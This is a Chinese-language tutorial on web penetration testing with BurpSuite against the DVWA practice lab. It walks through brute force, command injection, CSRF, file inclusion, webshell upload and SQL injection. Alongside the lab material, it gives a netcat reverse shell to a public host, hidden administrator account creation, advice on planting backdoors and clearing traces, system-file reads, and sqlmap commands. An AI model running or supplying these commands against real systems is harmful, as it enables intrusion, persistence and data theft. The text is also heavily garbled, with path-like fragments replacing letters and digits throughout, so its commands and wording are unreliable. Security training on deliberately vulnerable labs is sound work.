BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)
渗透测试
渗透测试(Penetr/img/5f/ation test)即安全工程师模拟黑客,在合法授权范围内,通过信息搜集、漏洞挖掘、权限提升等行为,对目标对象进行安全测试(或攻击),最终找出安全风险并输出测试报告。
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nm/img/5f/ap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马…思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
- DNS域名信息:通过url获取其真实ip,子域名(L/img/5f/ayer子域名爆破机),旁站(K8旁站,御剑/img/ec/1.5),c段,网站负责人及其信息(whois查询)
- 整站信息:服务器操作系统、服务器类型及版本(Ap/img/5f/ache/Ngin/img/5e/x/Tomc/img/5f/at/IIS)、数据库类型(Mysql/Or/img/5f/acle/Accees/Mqlserver)、脚本类型(php/jsp//img/5f/asp//img/5f/asp/img/5e/x)、CMS类型;
网站常见搭配为:
- ASP和ASPX:ACCESS、SQLServer
- PHP:MySQL、PostgreSQL
- JSP:Or/img/5f/acle、MySQL
- 敏感目录信息(御剑,dirbust)
- 开放端口信息(nmp)
漏洞扫描
利用AWVS,AppSc/img/5f/an,OWASP-ZAP,BurpSuite等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
- SQL注入
- XSS跨站脚本
- CSRF跨站请求伪造
- XXE(XML外部实体注入)漏洞
- SSRF(服务端请求伪造)漏洞
- 文件包含漏洞
- 文件上传漏洞
- 文件解析漏洞
- 远程代码执行漏洞
- CORS跨域资源共享漏洞
- 越权访问漏洞
- 目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlm/img/5f/ap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydr/img/5f/a)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的e/img/5e/xp进行提权,对于Windows系统也可看其补丁对应漏洞的e/img/5e/xp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.e/img/5e/xe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.e/img/5e/xe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,/img/5e/x-sc/img/5f/an等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nm/img/5f/ap扫描存活主机及开放端口,可用hydr/img/5f/a进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hide/img/5f/admin创建一个超级隐藏账户
手工:
netuser test$ /img/ec/123456 //img/5f/add
netloc/img/5f/algroup /img/5f/administr/img/5f/ators test$ //img/5f/add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到。
安全防护关键词
WAF
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Applic/img/5f/ation Firew/img/5f/all,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
RASP
“Runtime /img/5f/applic/img/5f/ation self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。
IAST/SAST/DAST
交互式应用程序安全测试(Inter/img/5f/active Applic/img/5f/ation Security Testing),是白盒测试(SAST),黑盒测试(DAST)结合优点而成的灰盒测试,IAST的插桩技术在j/img/5f/av/img/5f/a里就是开始一个/img/5f/agent发现有漏洞的执行就报告,比如sql注入,依赖j/img/5f/av/img/5f/a包的版本检测等。.
在安全测试中都会遇到SAST(St/img/5f/atic Applic/img/5f/ation Security Testing )、DAST(Dyn/img/5f/amic Applic/img/5f/ation Security Testing )、IAST(Inter/img/5f/active Applic/img/5f/ation Security Testing )的概念.
靶场实践
靶场推荐
如果你想搞懂一个漏洞,比较好的方法是:你可以自己先制造出这个漏洞(用代码编写),然后再利用它,最后再修复它,很多这种开源的项目都可以重现这些漏洞,这些项目被称为:靶场
靶场推荐(半年内有维护的):
- DVWA:D/img/5f/amn Vulner/img/5f/able Web Applic/img/5f/ation (DVWA)(译注:可以直译为:”该死的”不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。
- pik/img/5f/achu:Pik/img/5f/achu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pik/img/5f/achu可能正合你意。
- WebGo/img/5f/at:j/img/5f/av/img/5f/a靶场,WebGo/img/5f/at 是由 OWASP 维护的一个故意不安全的 Web 应用程序,旨在教授 Web 应用程序安全性课程。
- vulstudy:vulstudy是专门收集当下流行的漏洞学习平台,并将其制作成docker镜像,包含dvw/img/5f/a和pik/img/5f/achu等/img/ec/10几块靶场
- j/img/5f/av/img/5f/aweb-vuln:这是一个用于测试RASP/IAST的J/img/5f/av/img/5f/a靶场,包含了非常多的漏洞类型,该靶场由多个模块组成,示例程序基本上都在vuln-core项目中有详尽的分类,测试过程中如遇到问题请及时反馈,非常感谢!
- github搜索 github上靶场列表。
靶场(dvw/img/5f/a)安装
安装php集成环境:w/img/5f/amp,使用phpstorm开启调试环境(方便分析源代码),参考文档:https://blog.csdn.net/li/img/5f/aomin4/img/ec/16/img/ec/100569//img/5f/article/det/img/5f/ails//img/ec/128/img/ec/100034?spm=/img/ec/100/img/ec/1.20/img/ec/14.300/img/ec/1.550/img/ec/1
下载dvw/img/5f/a到w/img/5f/amp的www目录
git clone https://github.com/digininj/img/5f/a/DVWA.git
DVWA 附带了一个示例配置文件,需要根据实际环境复制一份该文件并修改。 比如在 Linu/img/5e/x 环境的 DVWA 路径下, 可以直接执行命令:
cp config/config.inc.php.dist config/config.inc.php
修改数据库相关配置:./config/config.inc.php
$_DVWA[ 'db_server'] = '/img/ec/127.0.0./img/ec/1'; $_DVWA[ 'db_port'] = '3306'; $_DVWA[ 'db_user' ] = 'dvw/img/5f/a'; $_DVWA[ 'db_p/img/5f/assword' ] = ''; $_DVWA[ 'db_d/img/5f/at/img/5f/ab/img/5f/ase' ] = 'dvw/img/5f/a';
访问http://loc/img/5f/alhost/DVWA
我这个页面是操作修改过php.ini的
修改php.ini文件,确保以下参数和下面所列相同
- /img/5f/allow_url_include = On – 允许包含远程文件 (RFI) [启用url-include]
- /img/5f/allow_url_fopen = On – 允许远程访问(就是请求http) (RFI) [启用url-fopen]
- s/img/5f/afe_mode = Off – (如果 PHP 版本 <= v5.4) 允许SQL注入 (SQLi) [安全模式]
- m/img/5f/agic_quotes_gpc = Off – (如果 PHP 版本 <= v5.4) 允许SQL注入 (SQLi) [魔术引号]
- displ/img/5f/ay_errors = Off – (可选) 不显示PHP警告消息 [关闭错误显示]
config/config.inc.php 文件配置:
$_DVWA[ 'rec/img/5f/aptch/img/5f/a_public_key' ] & $_DVWA[ 'rec/img/5f/aptch/img/5f/a_priv/img/5f/ate_key' ] - 这里的值可以在此网址生成: https://www.google.com/rec/img/5f/aptch/img/5f/a//img/5f/admin/cre/img/5f/ate 需要翻墙,这个秘钥是Insecure CAPTCHA漏洞用来生成验证码图片的秘钥,需要自己去申请创建一个
可以直接用这个
点击按钮 Cre/img/5f/ate/Reset D/img/5f/at/img/5f/ab/img/5f/ase
连接数据库查看就生成两个表user和guestbook
漏洞模块测试
DVWA共有十四个模块,分别是:
- Brute Force(暴力破解)
- Comm/img/5f/and Injection(命令行注入)
- CSRF(跨站请求伪造)
- File Inclusion(文件包含)
- File Uplo/img/5f/ad(文件上传)
- Insecure CAPTCHA (不安全的验证码)
- SQL Injection(SQL注入)
- SQL Injection(Blind)(SQL盲注)
- We/img/5f/ak Session IDs (弱会话ID)
- XSS (DOM) (DOM型跨站脚本)
- XSS(Reflected)(反射型跨站脚本)
- XSS(Stored)(存储型跨站脚本)
- CSP Byp/img/5f/ass (CSP绕过)
- J/img/5f/av/img/5f/aScript
dvw/img/5f/a每个漏洞都有三个难度Low、Medi/img/5f/a、High,都可以使用各种方式攻破的。
可通过DVWA Security 设置难度

通过phpstorm查看对应攻击的源代码,分析他的逻辑

使用软件
- SwitchyOmeg/img/5f/a:chrome浏览器设置代理的插件。
- BurpSuite :用来抓包,漏洞重放等,进行web网站扫描。
- sqlm/img/5f/ap:SQLM/img/5f/ap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Or/img/5f/acle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Syb/img/5f/ase和SAPM/img/5f/a/img/5e/xDB 。
- 中国蚁剑:中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员,只要网站上传一句话木马,即可连接到web服务器。
php:
/img/5f/asp:
/img/5f/asp/img/5e/x:
Brute Force(暴力破解)
暴力破解,又叫撞库、穷举,使用大量的字典逐个在认证接口尝试登录,理论上,只要字典足够强大,破解总是会成功的。
阻止暴力破解的最有效方式是设置复杂度高的密码(英文字母大小写、数字、符号混合)。
而如果你的字典是从某网站泄露出来的,你使用它试图登陆其他网站,就便是撞库。撞库攻击的成功率高于暴力破解,因为你在A网站的用户名、密码通常和B网站的用户名、密码一致。
常用的开源的弱用户名密码字典有:
https://github.com/fuzz-security/SuperWordlist
https://github.com/NS-Sp4ce/Dict
https://github.com/mysticbin/img/5f/ary/we/img/5f/akp/img/5f/ass
Low
查看low代码

打开Burp Suite pro/img/5e/xy面板,options打开8080端口,默认是开的

浏览器SwitchyOmeg/img/5f/a新增个代理

因为switchyomeg/img/5f/a 不会拦截loc/img/5f/alhost /img/ec/127.0.0./img/ec/1这样的ip,所以用你的局域网ip访问,
比如我的是:http:///img/ec/192./img/ec/168.20.48/DVWA

访问地址后,网站后选择代理,在burp中进入pro/img/5e/xy-intercept点击intercept is on,点击登录按钮发现http请求被拦截。

点击/img/5f/action->send to intruder 可以先关闭intercept is off,点击Intruder(用于爆破)页面看到刚刚的请求

默认burp加了一堆了占位符,可以理解这些占位符后续可以用字典替换后,不能的调用
/img/5f/att/img/5f/ach type的作用如下:
-Sinper(狙击手):狙击手模式使用一组p/img/5f/aylo/img/5f/ad集合,它一次只使用一个p/img/5f/aylo/img/5f/ad位置,假设你标记了两个位置“A”和“B”,p/img/5f/aylo/img/5f/ad值为“/img/ec/1”和“2”,那么它攻击会形成以下组合(除原始数据外):
- B/img/5f/attering r/img/5f/am(攻城锤模式):攻城锤模式与狙击手模式类似的地方是,同样只使用一个p/img/5f/aylo/img/5f/ad集合,不同的地方在于每次攻击都是替换所有p/img/5f/aylo/img/5f/ad标记位置,而狙击手模式每次只能替换一个p/img/5f/aylo/img/5f/ad标记位置。
- Pitchfork(草叉模式):草叉模式允许使用多组p/img/5f/aylo/img/5f/ad组合,在每个标记位置上遍历所有p/img/5f/aylo/img/5f/ad组合,假设有两个位置“A”和“B”,p/img/5f/aylo/img/5f/ad组合/img/ec/1的值为“/img/ec/1”和“2”,p/img/5f/aylo/img/5f/ad组合2的值为“3”和“4”,则攻击模式如下:
- Cluster bomb(集束炸弹模式):集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对p/img/5f/aylo/img/5f/ad组进行笛卡尔积,还是上面的例子,如果用集束炸弹模式进行攻击,则除b/img/5f/aseline请求外,会有四次请求:
我们清除掉所有站位符号,然后选中用户名和密码的地方加上占位符,选择Cluster bomb
进入p/img/5f/aylo/img/5f/ads页面,注意cluster bomb类型有几个占位符 就有几组p/img/5f/aylo/img/5f/ad需要设置,为了简单测试
可以看到成功的/img/5f/admin/p/img/5f/assword的length不一样
字典文件也可以从之前提供gitl/img/5f/ab上下载下来然后通过lo/img/5f/ad去加载出来
其中resource pool面板可以定义并发的线程数,
Medium
看代码
- 用户名和密码添加了mysqli_re/img/5f/al_esc/img/5f/ape_string函数转义sql参数的特殊字符,防止sql注入
- 密码错误后,会休眠2s才返回。
low中的脚本依然可以执行,只是/img/ec/10个线程访问,的时间变化了,出错了就2s才能试下一组密码。
Hign
查看代码
这里主要是在页面访问时session中产生了一个token放在表单的hidden中,提交表单时,带上来,校验,主要是方式不经过页面的请求。
破解的做法是从 页面的input[n/img/5f/ame=user_token]中拿到v/img/5f/alue值就可以了
抓包 多了一个user_token的占位符,如果直接抓包请求会出现302重定向到登录页面
因为token是每次访问页面时销毁上一个,生成下一个,所以需要在访问页面产生一个新的,然后获取这个新的token,验证用户名和密码时带上这个新的token,token失效。
Recursive grep方式
就是从上一次请求抓取到user_token作为下一次请求的参数,所以第一次是验证是无效的当然也可以设置第一次的p/img/5f/aylo/img/5f/ad。
将usern/img/5f/ame和p/img/5f/assword和user_token设置三个占位符,请求设置为pitchfork,不能再用bomb(因为bomb的第三个参数user_token每次都是新的所以请求是笛卡尔积是死循环)
因为pitchfork 通过索引号/img/ec/1对/img/ec/1所以简单设置两对,第一对设置个随意值
def/img/5f/ault ————– def/img/5f/ault
/img/5f/admin —————-p/img/5f/assword
test —————- /img/ec/123456
注意将options里面的redirecctions设置为/img/5f/alw/img/5f/ays,因为验证不通过,会响应一个302跳转到inde/img/5e/x.php
这个配置是自动在发一次请求重定向到inde/img/5e/x.php,就能拿到token了

因为这个我们请求用的同一个session_id为了防止并行互相删除对方的user_token,新增一个resourcepool
修改为/img/ec/1个线程请求。
设置Grep E/img/5e/xtr/img/5f/act
查看执行结果

Project Option的Session方式
通过访问某个页面,抓取到user_token后替换参数后请求
点击projects option,进入sessions面板
新建一个宏(宏就是从哪个页面中怎么样抓取某个数据)

注意define custom p/img/5f/ar/img/5f/ameter页面的参数名和请求参数名一致

点击添加一个session h/img/5f/anding rules,将运行的宏添加到h/img/5f/andler中,并且将宏获取的值更新到参数user_token中,同时在score中指定这个session h/img/5f/andler只是在请求你的dvw/img/5f/a网站地址才生效,勾选这个h/img/5f/andler

因为这个我们请求用的同一个session_id为了防止并行互相删除对方的user_token,新增一个resourcepool
修改为/img/ec/1个线程请求。
请求结果爆破:

impossible
使用prep/img/5f/are编译sql,解决了sql注入问题,失败三次,锁定/img/ec/15分钟,解决爆破问题。
Comm/img/5f/and Injection(命令行注入)
命令注入,是指在某些需要输入数据的位置,构造恶意代码破环原有的语句结构,而系统缺少有效的过滤,许多内容管理cms存在命令注入漏洞。
Low
e/img/5e/xec目录下看代码

因为拼接字符串,直接输入ip 在 && ipconfig 就可以直接执行
注意设置安全级别

命令连接执行常用的方式:
- & 之后的命令无论如何都会被执行。
- && 之后的命令只有在前&&之前的命令执行成功才会被执行。
- | 永远只执行最后一个。
- || 只要一个成功执行就,停止执行
注意 echo 0 && ipconfig 也可以连接符左右不要空格 echo 0&&ipconfig
Medium
查看代码

将输入参数的值中的&&和;替换成空,用|直接,输入8.8.8.8|ipconfig
Hign
查看代码

用medium中的8.8.8.8|ipconfig一样过。
impossible
将ip分成4个区域(.拆分),判断每个区域都是数字,彻底无解

CSRF(跨站请求伪造)
一种可以被攻击者用来通过用户浏览器冒充用户身份向服务器发送伪造请求并被目标服务器成功执行的漏洞被称之为CSRF漏洞。
特点:
- 用户浏览器:表示的受信任的用户
- 冒充身份:恶意程序冒充受信任用户(浏览器)身份
- 伪造请求:借助于受信任用户浏览器发起的访问
由于CSRF攻击的特殊性,还是以钓鱼和源码解析为主好了。
场景:比如某个购物网站,你登录了或者长期免登录,同时在同一个浏览器的t/img/5f/ab页签打开了某个钓鱼
网站,钓鱼网站在他的网页中执行购物网站的接口拿到购物网站的订单和个人信息等,网站安全性差的情况下直接调用提现,同时也可以实施电话诈骗了,。
Low
上代码

页面功能是输入密码和确认密码通过get方式提交了请求

如果网站开启了cors,一般其他域名无法直接调用这个域名对应的接口,只能通过csrf伪装(创建另外一个网站在同一个chrome用攻击网站的token来发起请求)
抓包并发送到repe/img/5f/ater

进入repe/img/5f/ater中右键Eng/img/5f/agementtools -》Gener/img/5f/ate CSRF PoC

将生成的html放到的你的钓鱼网站可以访问

点击该窗口的Test in browser然后复制打开浏览器(注意和修改密码同一个浏览器),设置为通过代理访问

点击submit request修改密码成功
Medium
查看代码

正常访问HTTP_REFERER是:http:///img/ec/192./img/ec/168.20.48//DVWA/vulner/img/5f/abilities/csrf/
SERVER_NAME是:/img/ec/192./img/ec/168.20.48
如果我直接通过:http://burpsuite/show/6/d/img/5e/xfgg2g0o/img/5f/a22/img/5f/anht/img/5e/x8qv7bei6bunum/img/5e/xn
HTTP_REFERER就不包含/img/ec/192./img/ec/168.20.48,我们是不是可以在页面定义为
http://burpsuite/show/6/d/img/5e/xfgg2g0o/img/5f/a22/img/5f/anht/img/5e/x8qv7bei6bunum/img/5e/xn//img/ec/192./img/ec/168.20.48访问这个csrf页面就可以越过了,挂个ngin/img/5e/x做个loc/img/5f/ation就解决。
Hign
查看代码
修了post请求方式,先验证token是否存在,再验证token值是否正确。要绕过High级别的反CSRF机制,关键是要获取用户当前token。
破解方式:
自己写一个网页,直接/img/5f/aj/img/5f/a/img/5e/x请求登录页,通过dom解析获取到user_token,然后/img/5f/aj/img/5f/a/img/5e/x post请求提交,直接绕过。

impossible
添加了旧密码和新密码,数据库参数化(防注入),无法破解。
File Inclusion(文件包含)
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他非预期文件,导致了文件信息泄露或执行非预期代码。
Low
看效果,在这个页面li/inde/img/5e/x.php包含了 file/img/ec/1.php,file2.php,file3.php

看代码

根据安全类型包含对应的[安全类型].php,被包含文件中定义被包含的页面变量$file
low.php

接下来换成读取php.ini :http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=…/…/php.ini

phpinfo.php:http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=…/…/phpinfo.php

直接路径包含其他项目的文件:http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=D:\green\w/img/5f/amp\www\helloworld\if.php

权限够的包含linu/img/5e/x下的/etc/p/img/5f/asswd等
window下: http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=C:\Windows\System32\drivers\etc\hosts
访问其他网站:http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=https://www.b/img/5f/aidu.com

Medium
看代码

将https://,https://和…/开头的屏蔽掉了,但是绝对路径的依然可访问
如:http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=D:\green\w/img/5f/amp\www\helloworld\if.php
Hign
看代码
匹配$file必须为file开头的字符串且不是include.php
因为只匹配了开头,那么file协议刚刚好满足此条件
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=file:///D:\green\w/img/5f/amp\www\helloworld\if.php

impossible

写死了,只能是include.phpp file/img/ec/1-3.php,除非通过之前的命令行注入修改这几个包含文件的内容否则就无解了。
这里测试的include.php中包含的file3.php存在/img/5e/xss漏洞
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=file3.php

File Uplo/img/5f/ad(文件上传)
File Uplo/img/5f/ad,即文件上传漏洞,指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限。
Low
查看代码

直接将文件传输上传到h/img/5f/ack/img/5f/able/uplo/img/5f/ad/目录,未做任何限制
安装中国蚁剑(参考:https://www.yuque.com//img/5f/antswordproject//img/5f/antsword/srruro)
出现代码解压出错:[object Object],可以再次管理员身份运行即可安装好,安装后再次打开即可用。
添加一个shell文件(https://www.yuque.com//img/5f/antswordproject//img/5f/antsword/qg3g73)
/img/5f/ant.php 内容:(注意/img/5f/ant参数蚁键里是密码)
通过功能上传

通过中国蚁剑管理

可以右键打开终端执行任何系统命令

Medium
看代码

直接上传

直接抓包,/img/5f/action到repe/img/5f/ater,通过修改multip/img/5f/art/d/img/5f/at/img/5f/a中的content-type就可以绕过了。
Hign
看代码

判断上传文件的后缀名是jpg|jpeg|png,同时根据getim/img/5f/agesize函数判断文件内容的前几个字符
所以将php文件修改为jpg结尾的文件是无法上传成功的,除非文件中包含图片的标识
有兴趣可研究:https://www.php.net/m/img/5f/anu/img/5f/al/en/function.getim/img/5f/agesize.php
制作一个图片包含文件内容即可(图片马)
随便用画图工具画个很小的图片文件。
执行命令:copy zero.png/b+/img/5f/ant.php//img/5f/a shell.png

将生成的shell.png上传,上传成功
或者在php一句话木马中添加gif等图片的标志即可
GIF89/img/5f/a
因为图片文件在访问时直接当图片处理无法解析jpg中的php一句话木马。
所有需要用之前的hign对应的包含漏洞
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/fi/?p/img/5f/age=file:///D:\green\w/img/5f/amp\www\DVWA\h/img/5f/ack/img/5f/able\uplo/img/5f/ads\shell.png
注意需要从浏览器f/img/ec/12 copy一个页面菜单cookie值到蚁剑中

测试连接成功
这里我用postm/img/5f/an或者h/img/5f/ackb/img/5f/ar之类的请求都无法正确请求,不知道蚁剑是怎么处理的
impossible
代码
做了以下处理,基本无法解析木马了
- checkToken() 判断token是否正确
- md5( uniqid() . $uplo/img/5f/aded_n/img/5f/ame ) 对上传的文件进行重命名
- strtolower( $uplo/img/5f/aded_e/img/5e/xt ) 判断后缀名
- $uplo/img/5f/aded_type 判断文件mimetype
- getim/img/5f/agesize() 判断文件起始字符是否符合
- im/img/5f/agecre/img/5f/atefromjpeg() 图片二次渲染(可以绕过)
- ren/img/5f/ame() 判断文件是否能移动到web目录下
Insecure CAPTCHA (不安全的验证码)
Low
Medium
Hign
impossible
SQL Injection(SQL注入)
SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
Low
查看代码,直接拼接sql

id中填入:-/img/ec/1’ union select user(),d/img/5f/at/img/5f/ab/img/5f/ase() ’
比如查看操作系统版本数据目录:-/img/ec/1’ union select @@version_compile_os,d/img/5f/at/img/5f/ab/img/5f/ase() ’

jsql injection
jSQL Injection是一个轻量级的应用程序,用于从远程服务器查找数据库信息。jSQL是免费的,开源的和可多平台使用的(Windows,Linu/img/5e/x,M/img/5f/ac OS X,Sol/img/5f/aris)。
jSQL injection是一款由JAVA开法的SQL自动化注入工具,它提供了数据库查询、后台爆破、文件读取、Web shell、SQL Shell、文件上传、暴力枚举、编码、批量注入测试等强大的功能,是一款非常不错的工具,也是渗透测试人员的强大助手。它支持GET\POST注入,同时也可以进行HTTP头注入(这个需要用户自动构建)。与sqlm/img/5f/ap相比,其拥有图形化的界面和完整的中文支持。
安装包:https://github.com/ron/img/ec/190/jsql-injection/rele/img/5f/ases/
最新版本要jdk/img/ec/17才能运行。
访问DVWA,通过f/img/ec/12获取到接口的访问路径
http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit
注意他的cookie,在其他地方访问要带上cookie

注意把id参数放后面,如果放前面发现会失败。
sqlm/img/5f/ap
SQLM/img/5f/ap是一款开源渗透测试工具,可用于自动检测和利用SQL注入漏洞,并接管数据库服务器。Sqlm/img/5f/ap 是一个基于命令行的半自动化SQL注入攻击工具。在我们使用扫描器或者是手工发现了一个SQL注入点后,通常需要验证注入点是否是一个可以利用的点,这个时候就可以利用sqlm/img/5f/ap来完成。
SQLM/img/5f/ap官网下载:http://sqlm/img/5f/ap.org/#downlo/img/5f/ad
github源码下载:https://github.com/sqlm/img/5f/approject/sqlm/img/5f/ap
注意sqlm/img/5f/ap注意代码需要python3.8以上版本,使用An/img/5f/acond/img/5f/a N/img/5f/avig/img/5f/ator创建一个3.8.0环境激活
D:\green\sql\sqlm/img/5f/approject-sqlm/img/5f/ap-33/img/5f/a6547>cond/img/5f/a env list # cond/img/5f/a environments: # b/img/5f/ase * C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3 env380 C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\env380 gpm C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\gpm m/img/5f/athle/img/5f/arn C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\m/img/5f/athle/img/5f/arn p/img/5f/api-gener/img/5f/ator-server C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\p/img/5f/api-gener/img/5f/ator-server py27 C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\py27 superset C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\superset superset/img/ec/1 C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\superset/img/ec/1 superset2 C:\Users\li/img/5f/aomin\/img/5f/an/img/5f/acond/img/5f/a3\envs\superset2 D:\green\sql\sqlm/img/5f/approject-sqlm/img/5f/ap-33/img/5f/a6547>/img/5f/activ/img/5f/ate env380 D:\green\sql\sqlm/img/5f/approject-sqlm/img/5f/ap-33/img/5f/a6547>cond/img/5f/a.b/img/5f/at /img/5f/activ/img/5f/ate env380 (env380) D:\green\sql\sqlm/img/5f/approject-sqlm/img/5f/ap-33/img/5f/a6547>
在env380执行sqlm/img/5f/ap扫描(注意添加cookie头,f/img/ec/12去浏览器拿最新的)
检查注入点:
python sqlm/img/5f/ap.py -u "http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit" --he/img/5f/aders="Cookie: PHPSESSID=k3e2/img/ec/12/img/5f/a0/img/5f/a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=/img/ec/15794; ts_uid=8970/img/ec/165994; /img/5f/ad_pl/img/5f/ay_inde/img/5e/x=25; security=low"

检查第一次较慢,完成后在执行其他爆破,都会很快。
爆所有数据库信息(–dbs):
python sqlm/img/5f/ap.py -u "http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit" --he/img/5f/aders="Cookie: PHPSESSID=k3e2/img/ec/12/img/5f/a0/img/5f/a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=/img/ec/15794; ts_uid=8970/img/ec/165994; /img/5f/ad_pl/img/5f/ay_inde/img/5e/x=25; security=low" --dbs

爆当前数据库信息( –current-db):
python sqlm/img/5f/ap.py -u "http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit" --he/img/5f/aders="Cookie: PHPSESSID=k3e2/img/ec/12/img/5f/a0/img/5f/a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=/img/ec/15794; ts_uid=8970/img/ec/165994; /img/5f/ad_pl/img/5f/ay_inde/img/5e/x=25; security=low" --current-db

指定库名列出所有表(-D 数据库名 –t/img/5f/ables)
python sqlm/img/5f/ap.py -u "http:///img/ec/192./img/ec/168.20.48/DVWA/vulner/img/5f/abilities/sqli/?id=/img/ec/1&Submit=Submit" --he/img/5f/aders="Cookie: PHPSESSID=k3e2/img/ec/12/img/5f/a0/img/5f/a0p2mj5kut2gmjdfo2; XDEBUG_SESSION=/img/ec/15794; ts_uid=8970/img/ec/165994; /img/5f/ad_pl/img/5f/ay_inde/img/5e/x=25; security=low" -D dvw/img/5f/a --t/img/5f/ables
指定库名表名列出所有字段(-D 数据库名 -T 表名 –columns)
